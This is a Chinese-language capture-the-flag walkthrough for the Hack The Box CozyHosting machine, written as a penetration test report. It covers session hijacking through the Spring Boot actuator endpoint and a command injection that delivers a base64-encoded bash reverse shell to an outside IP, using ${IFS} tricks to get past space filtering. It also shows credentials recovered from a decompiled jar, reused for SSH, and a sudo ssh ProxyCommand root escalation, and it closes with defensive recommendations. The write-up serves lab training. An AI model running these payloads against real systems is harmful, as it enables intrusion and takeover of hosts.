Hack The Box - CozyHosting WP
字数 1263 2025-08-10 12:17:59
Hack The Box - CozyHosting WP 渗透测试报告
1. 信息收集
1.1 端口扫描
使用nmap进行初始扫描:
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p- 10.10.11.230
发现开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
1.2 目录枚举
使用feroxbuster扫描Web目录,发现:
/error目录 - 显示"Whitelabel Error Page",表明是Spring Boot应用/actuator/sessions- 暴露会话信息
2. Web应用渗透
2.1 会话劫持
- 访问
/actuator/sessions获取anderson用户的session值 - 替换当前会话cookie为获取的session值
- 访问
/admin目录获得管理员权限
2.2 远程代码执行(RCE)
发现提交的数据会进行文件写入操作,可利用此进行RCE:
- 准备反向shell payload:
echo -n "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1" | base64
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDAvNDQ0NCAwPiYxCg==
- 绕过空格限制:
- 使用
${IFS%??}代替空格 - 其他可用替代:
${IFS}、%0a、反引号
- 最终payload:
echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDAvNDQ0NCAwPiYxCg=="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
- 在目标服务器上监听端口:
nc -lvnp 4444
3. 权限提升
3.1 数据库凭证获取
-
对
cloudhosting-0.0.1.jar进行反编译:- 使用jd-gui工具
- 操作流程:File → Open File → 选择文件 → Open → Save All Sources
-
搜索敏感信息:
grep -r "password" ./
- 在
application.properties中发现数据库凭证:
postgres/Vg&nvzAQ7XxR
3.2 数据库访问
- 使用chisel将5432端口转发到本地
- 连接PostgreSQL数据库:
psql -U postgres -h 127.0.0.1
- 数据库操作:
\c cozyhosting # 进入数据库
\dt # 查看表
SELECT * FROM users; # 查看用户信息
- 对获取的哈希进行爆破(使用john或hashcat)
3.3 SSH访问
- 发现系统中有josh用户
- 尝试使用数据库密码进行SSH登录:
ssh josh@10.10.11.230
3.4 Root权限提升
- 检查sudo权限:
sudo -l
显示可以以root身份运行ssh
- SSH提权:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
4. 技术要点总结
-
Spring Boot Actuator漏洞:
/actuator/sessions暴露会话信息- 可导致会话劫持和未授权访问
-
RCE绕过技术:
- 使用
${IFS%??}等替代空格 - Base64编码payload避免特殊字符问题
- 多阶段执行绕过限制
- 使用
-
数据库凭证泄露:
- 通过反编译Java应用获取
- 凭证复用攻击(SSH)
-
特权提升技术:
- sudo配置不当(允许root执行ssh)
- SSH ProxyCommand滥用
-
工具使用:
- nmap - 端口扫描
- feroxbuster - 目录枚举
- jd-gui - Java反编译
- chisel - 端口转发
- psql - PostgreSQL客户端
5. 防御建议
-
保护Actuator端点:
- 限制访问IP
- 禁用不必要的端点
- 使用强认证
-
输入验证:
- 对用户输入进行严格过滤
- 禁用危险字符和命令
-
凭证管理:
- 不在代码中硬编码凭证
- 使用环境变量或密钥管理系统
-
最小权限原则:
- 限制sudo权限
- 避免过度授权
-
日志监控:
- 监控异常登录尝试
- 审计敏感操作